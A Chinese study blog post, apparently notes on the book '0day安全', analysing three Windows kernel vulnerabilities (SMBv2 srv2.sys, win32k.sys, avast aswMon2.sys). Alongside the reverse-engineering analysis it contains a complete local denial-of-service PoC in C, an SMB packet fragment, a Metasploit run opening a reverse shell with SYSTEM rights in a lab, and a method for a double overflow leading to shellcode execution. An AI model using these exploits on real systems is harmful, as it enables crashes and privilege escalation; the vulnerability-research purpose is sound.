0day安全 | Chapter 24 内核漏洞案例

启程

以前在知乎上看到余弦的一个观点:一切的安全问题都体现在“输入输出”上,一切的安全问题都存在于“数据流”的整个过程中。

对于内核,漏洞大多出没于Ring3与Ring0的交互中。上一章在“内核Fuzz思路”一节提到的各种入口,其实正是漏洞可能存在的地方。

本章我们来分析几个真实的内核漏洞。

远程拒绝服务

相关信息

# CVE-2009-3103
# MS09-050
# 概述:
#   实现SMBv2协议相关的srv2.sys驱动未正确处理包含畸形SMB头结构的NEGOTIATE PROTOCOL REQUEST
#   (客户端发送给SMB服务器的第一个SMB查询,用于识别SMB语言并用于后续通信)
# 影响:
#   触发越界内存引用,导致内核态代码执行或拒绝服务

漏洞复现

环境:

拒绝服务复现

利用原书附带PoC,成功导致BSoD

代码执行复现

一开始我只是想复现一下拒绝服务,后来发现Metasploit中有代码执行的ExP:

msf > search MS09-050

Matching Modules
================

   Name                                                       Disclosure Date  Rank    Check  Description
   ----                                                       ---------------  ----    -----  -----------
   auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh                   normal  No     Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference
   auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff                      normal  No     Microsoft SRV2.SYS SMB2 Logoff Remote Kernel NULL Pointer Dereference
   exploit/windows/smb/ms09_050_smb2_negotiate_func_index     2009-09-07       good    No     MS09-050 Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference

执行后成功获得SYSTEM权限:

msf exploit(windows/smb/ms09_050_smb2_negotiate_func_index) > set RHOST 172.16.56.154
RHOST => 172.16.56.154
msf exploit(windows/smb/ms09_050_smb2_negotiate_func_index) > exploit

[*] Started reverse TCP handler on 172.16.56.1:4444
[*] 172.16.56.154:445 - Connecting to the target (172.16.56.154:445)...
[*] 172.16.56.154:445 - Sending the exploit packet (938 bytes)...
[*] 172.16.56.154:445 - Waiting up to 180 seconds for exploit to trigger...
[*] Sending stage (179779 bytes) to 172.16.56.154
[*] Meterpreter session 1 opened (172.16.56.1:4444 -> 172.16.56.154:49165) at 2018-11-09 08:54:53 +0800

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

话说回来,对于一些溢出漏洞来说,“拒绝服务”和“代码执行”其实更多的是Shellcode及防御措施上的区别。Shellcode质量高,且防御措施能够被绕过,那么这就成了代码执行;否则可能只能达到拒绝服务的效果。

漏洞分析

SMB报文结构

+----------------------+
|  TCP Header          |
+----------------------+   -----
|  NETBIOS Header      |     |
+----------------------+     v
|  SMB Base Header     |
+----------------------+    SMB Packet
|  SMB Command Header  |
+----------------------+     ^
|  SMB DATA            |     |
+----------------------+   -----

下面是一个小脚本,用来生成像上面这样的层式结构:

#!/usr/bin/env python

num = input("How many layers would you like? ")

# input the layers
print("Please input the name of layer in order from top to bottom:")
i = 0
layers = []
max_len = 0
for i in range(int(num)):
    layer = input("Layer " + str(i) + ": ")
    layers.append(layer)
    if len(layer) > max_len:
        max_len = len(layer)

# output the packet
print("+" + "-" * (max_len + 4) + "+")
for layer in layers:
    print("|  " + layer + " " * (max_len + 2 - len(layer)) + "|")
    print("+" + "-" * (max_len + 4) + "+")

言归正传。这些数据的具体结构如下:

// NETBIOS Header
NETBIOS Header{
    UCHAR Type;
    UCHAR Flags; // always 0
    USHORT Length; // SMB Base Header + SMB Command Header + SMB DATA
}
// SMB Base Header
// https://msdn.microsoft.com/en-us/library/ee441774.aspx
SMB_Header{
   UCHAR  Protocol[4]; // '\xFF', 'S', 'M', 'B'
   UCHAR  Command;
   SMB_ERROR Status;
   UCHAR  Flags;
   USHORT Flags2;
   USHORT PIDHigh;
   UCHAR  SecurityFeatures[8];
   USHORT Reserved;
   USHORT TID;
   USHORT PIDLow;
   USHORT UID;
   USHORT MID;
}
// SMB Command Header
// https://msdn.microsoft.com/en-us/library/ee441822.aspx
SMB_Parameters{
    UCHAR  WordCount;
    USHORT Words[WordCount]; // variable
}
// SMB DATA
// https://msdn.microsoft.com/en-us/library/ee441822.aspx
SMB_Data{
    USHORT ByteCount;
    UCHAR Bytes[ByteCount]; // variable
} 

漏洞定位

漏洞在于,在客户端向服务端发出的SMB_Header.Command0x72 (SMBnegprot)磋商协议数据包中,畸形的SMB_Header.PIDHigh将导致代码执行或服务端内核崩溃。

先分析一下触发拒绝服务的PoC:

buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26" # Process ID High: --> :) normal value should be "\x00\x00"
# ...
)

正常情况下,PID不超过65535时,PIDHigh应该为0。那么为什么这里会触发漏洞?我们提取漏洞驱动srv2.sys来分析。

首先使用WinDbg附带的工具symchk下载srv2.sys的符号文件

symchk e:\srv2.sys /s SRV*c:\symbols*http://msdl.microsoft.com/download/symbols

然后用IDA Pro加载.sys和.pdb文件。漏洞点在Smb2ValidateProviderCallback函数中:

int __stdcall Smb2ValidateProviderCallback(PVOID DestinationBuffer)
{
  // v1 points to SMB Base Header
  v1 = *(_DWORD *)(*((_DWORD *)DestinationBuffer + 28) + 12); // loc_1
  v2 = *(_DWORD *)(*((_DWORD *)DestinationBuffer + 12) + 344);
  v3 = *((_DWORD *)DestinationBuffer + 91);
  *(_DWORD *)(v3 + 56) = -1;
  *(_DWORD *)(v3 + 60) = -1;
  *(_DWORD *)(v3 + 12) = DestinationBuffer;
  v4 = *((_DWORD *)DestinationBuffer + 28);
  *((_DWORD *)DestinationBuffer + 89) = Smb2CleanupWorkItem;
  v5 = *(_DWORD *)(v4 + 20);
  v23 = v1;
  v24 = v3;
  v25 = v2;
  // ...
LABEL_83:
  if ( *((_BYTE *)pSrv2TraceInfo + 12) & 4 && pSrv2TraceInfo[2] & 0x8000000 )
    Smb2OutputWorkItemRequest(DestinationBuffer);
  // *(_WORD *)(v1 + 12) is PIDHigh
  v19 = ValidateRoutines[*(_WORD *)(v1 + 12)]; // loc_2
  if ( v19 )
    result = v19(DestinationBuffer);
  else
    result = -1073741822;
  return result;
}

根据代码中loc_1loc_2可知PIDHigh将作为数组下标去进行一个取值操作。那么如果我们让PIDHigh很大,ValidateRoutines + *(_WORD *)(v1 + 12)将是一个非法地址,从而导致非法内存访问,这是拒绝服务的原理。那么MSF的代码执行又是什么原理呢?可以参考modules/exploits/windows/smb/ms09_050_smb2_negotiate_func_index.rb(未来可深入探究)。

本地拒绝服务

相关信息

这个漏洞是MJ0011郑文彬发布的。

# CVE-2010-1734
# 概述:
#   Win32k.sys模块在DispatchMessage时,将可控参数视作地址从而导致非法地址读
# 影响:
#   2000/XP/2003,系统崩溃

漏洞复现

环境:

PoC:

#include "stdio.h"
#include "windows.h"

int main(int argc, char* argv[])
{
	wchar_t title[MAX_PATH]={0};

	printf("Microsoft Windows Win32k.sys SfnINSTRING Local D.O.S Vuln\nBy MJ0011\nth_decoder@126.com\nPressEnter");
	 
	HWND hwnd = FindWindow(L"DDEMLEvent" , NULL); 
	if (hwnd == 0){
		printf("cannot find DDEMLEvent Window!\n");
		return 0 ; 
	}

	GetWindowText(hwnd,title,MAX_PATH);
	printf("hwnd=%08X title=%s\n", hwnd, title);
	getchar();
	
	PostMessage(hwnd , 0x18d , 0x0 , 0x80000000);
	return 0;
}

用VS 2008编译运行:

漏洞分析

先去下载win32k.pdb,然后载入IDA。

漏洞点如下:

int __stdcall xxxDefWindowProc(int a1, int MbString, ULONG AllocationSize, PVOID Address)
{
  // ...
  else
  {
    v4 = MbString & 0x1FFFF;
    if ( *(_BYTE *)(a1 + 22) & 8 )
    {
      if ( v4 < 0x400 )
        result = gapfnScSendMessage[MessageTable[(unsigned __int16)MbString] & 0x3F](
                   a1,
                   MbString,
                   AllocationSize,
                   Address,
                   0,
                   *(_DWORD *)(gpsi + 308),
                   1,
                   0);
      else
        result = SfnDWORD(a1, MbString, AllocationSize, Address, 0, *(_DWORD *)(gpsi + 308), 1, 0);
    }
    // ...
    else
    {
      result = gapfnScSendMessage[MessageTable[(unsigned __int16)MbString] & 0x3F](
                 a1,
                 MbString,
                 AllocationSize,
                 Address,
                 0,
                 *(_DWORD *)(gpsi + 396),
                 0,
                 0);
    }
  }
  return result;
}

在触发漏洞时MbString = 0x18d,所以上面的MessageTable[(unsigned __int16)MbString] & 0x3F为0x05:

.rdata:BF990E48 ; char MessageTable[]
.rdata:BF990E48 _MessageTable   db 0                    ; DATA XREF: xxxDispatchMessage(x)-32 r
.rdata:BF990E48                                         ; xxxDispatchMessage(x)+30 r ...
...
.rdata:BF990FD5                 db  45h ; E

gapfnScSendMessage是一个函数表,最终调用的函数是gapfnScSendMessage[0x05],即下面的SfnINSTRING函数:

.rdata:BF990C88 _gapfnScSendMessage dd offset _SfnDWORD@32
.rdata:BF990C88                                         ; DATA XREF: xxxDispatchMessage(x)-29 r
.rdata:BF990C88                                         ; xxxDefWindowProc(x,x,x,x)+6E r ...
.rdata:BF990C88                                         ; SfnDWORD(x,x,x,x,x,x,x,x)
.rdata:BF990C8C                 dd offset _SfnNCDESTROY@32 ; SfnNCDESTROY(x,x,x,x,x,x,x,x)
.rdata:BF990C90                 dd offset _SfnINLPCREATESTRUCT@32 ; SfnINLPCREATESTRUCT(x,x,x,x,x,x,x,x)
.rdata:BF990C94                 dd offset _SfnINSTRINGNULL@32 ; SfnINSTRINGNULL(x,x,x,x,x,x,x,x)
.rdata:BF990C98                 dd offset _SfnOUTSTRING@32 ; SfnOUTSTRING(x,x,x,x,x,x,x,x)
.rdata:BF990C9C                 dd offset _SfnINSTRING@32 ; SfnINSTRING(x,x,x,x,x,x,x,x)

我们看一下这个函数:

int *__stdcall SfnINSTRING(int a1, int a2, int a3, int a4, int a5, int a6, char a7, int a8)
{
  // ...
  if ( a4 && (*(_DWORD *)(a4 + 8) >= (unsigned int)_MmSystemRangeStart || *(_DWORD *)(a4 + 4) >> 31 != (a7 & 1)) )
  {
    v44 = 1;
    if ( ULongAdd(*(_DWORD *)a4, 2, &AllocationSize) < 0
      || *(_BYTE *)(a4 + 7) & 0x80
      && !(a7 & 1)
      && ULongLongToULong(2 * AllocationSize, (unsigned __int64)AllocationSize >> 31, &AllocationSize) < 0 )
    {
      goto LABEL_33;
    }
  }
  // ...
}

注意到当a4不为0时,上述代码将直接访问a4 + 8处的DWORD数据。一路追溯上去,a4其实是xxxDefWindowProc函数的第四个参数。那么a4 + 8如果是非法地址,就会引起系统崩溃。比如PoC中传入的是0x80000000

PostMessage(hwnd , 0x18d , 0x0 , 0x80000000);

缓冲区溢出

相关信息

# 参考URL:https://www.exploit-db.com/exploits/9492/
# 漏洞程序:avast! 4.8.1335 Professionnel
# 漏洞驱动:aswMon2.sys
# 漏洞类型:本地内核缓冲区溢出

漏洞复现

测试PoC来自上面的参考URL,随书附带光盘中也有。漏洞程序可以从参考URL下载。PoC过长,这里就不展示了。环境与上一个实验相同。

漏洞分析

这是一个非常有意思的漏洞,利用过程也很经典,其中使用到了二次溢出的思想——我们知道,CTF pwn中常常会需要进行二次溢出(或者二次漏洞触发)。我们深入到漏洞驱动aswmon2.sys去分析一下。

sub_10B42处理IoControlCode为0xb2c8000c的逻辑如下:

char __stdcall sub_10B42(int a1, int a2, PCSZ SourceString, \
    wchar_t *Str, wchar_t *Source, void *LinkHandle, \
    int a7, int a8, ULONG ReturnedLength)
{
    if ( a7 != 0xB2C80008 ){
        if ( a7 != 0xB2C8000C ){
    LABEL_92:
            v30 = (_DWORD *)a8;
            *(_DWORD *)(a8 + 4) = 4;
            *v30 = 0xC000000D;
            return 0;
        }
        if ( Str != (wchar_t *)0x1448 )
            goto LABEL_92;
        qmemcpy(&dword_189D8, SourceString, 0x1448u);
        sub_108F0();
        return 0;
    }
}

如果输入缓冲区长度为0x1448,则将输入缓冲区复制到&dword_189D8地址处,接着调用sub_108F0,然后返回。

sub_108F0的逻辑如下:

char sub_108F0()
{
    // ...
    char *v2; // edi
    char *v3; // edi
    // ...
    v2 = &byte_19218;
    if ( byte_19218 ){
        do{
            sub_14228(v2);
            v2 += strlen(v2) + 1; // next str
        } while ( *v2 );
    }
    // aRwFon = "<RW>*.FON"
    *(_DWORD *)v2 = *(_DWORD *)aRwFon;
    v3 = v2 + 4;
    *(_DWORD *)v3 = *(_DWORD *)&aRwFon[4];
    v3 += 4;
    strcpy(v3, "N");
    v3[2] = aRwFon[10];
    
    sub_12374(0, 1);
    return 1;
}

其目的很简单,从0x19218开始跳过所有字符串,然后将"<RW>*.FON"及其后面、一共11个字节拷贝过去。然而,0x189d8 + 0x1448 = 0x19e20 > 19218,这说明拷贝空间在我们的控制范围内(准确的说,可以通过输入缓冲区控制)。

因此,如果我们按照如下方式填充输入缓冲区,"<RW>*.FON"将被复制到0x1448个字节以外的地方:

巧的是,\0<RW刚好本应是一个函数指针的位置(0x19E20),且这个函数在sub_1034E中会被调用:

.data:00019E1C                 db    0
.data:00019E1D                 db    0
.data:00019E1E                 db    0
.data:00019E1F                 db    0
.data:00019E20 dword_19E20     dd 0                    ; DATA XREF: sub_1034E+17↑r
.data:00019E20                                         ; DriverEntry+1A3↑w ...
.data:00019E24 dword_19E24     dd 0                    ; DATA XREF: sub_1034E+34↑r
.data:00019E24                                         ; DriverEntry+1B9↑w ...
char __stdcall sub_1034E(int a1)
{
    char v1; // bl
    int v2; // esi
    int v4; // [esp+4h] [ebp-8h]
    int v5; // [esp+8h] [ebp-4h]

    v1 = 0;
    if ( byte_19E30 ){
        if ( dword_19E20(a1, &v5) >= 0 ){ // here!
            if ( v5 ){
                v2 = dword_19E24(v5, &unk_181CC, &v4, 0);
                if ( v2 >= 0 ){
                    if ( dword_19E28 )
                        HIBYTE(a1) = dword_19E28(v4);
                    else
                        v2 = dword_19E2C(v4, (char *)&a1 + 3);
                    if ( v2 >= 0 && !HIBYTE(a1) )
                        v1 = 1;
                }
            }
        }
    }
    return v1;
}

更巧的是,\0<RW对应0x57523c00,这是一个合法的用户态空间地址,可以通过动态内存申请获得这个地址的使用权,从而在这里布置shellcode。

现在还有一个问题,在sub_1034E中,只有当byte_19E30不为0时,dword_19E20指向的函数才会被调用。但0x19E30 > 0x19E20,也就是说这个地址在输入缓冲区可以控制的范围之外。怎样才能让它不为0呢?

我们可以通过二次溢出的方式解决问题——0x19E30 - 0x19E20 = 0x10,而2 * 11 = 22 > 0x10。所以只需要在第一次触发漏洞后再次触发,使sub_108F0将执行两次,这样将形成以下局面:

可以发现,此时byte_19E30已经不为0了。

至此,只需要申请0x57523c00起始的内存并放置shellcode就好。

总结

上面的“缓冲区溢出”漏洞真的蛮奇特,它的的确确是溢出,覆盖的位置也很类似于经典栈溢出中的ret返回地址,但这个位置并不是返回地址。然而,它却是一个被其他函数调用的函数指针位置!且覆盖值\0<RW是一个合法的堆内存申请地址。一切刚刚好,太巧妙了。

原书中本章还有瑞星的“任意地址写任意数据”漏洞和XP SP2/3的win32k.sys NTUserConsoleControl漏洞。这里不再复现。

内核漏洞的利用方式和用户态存在差异,还是需要熟悉内核,才能做到游刃有余。

Per Aspera Ad Astra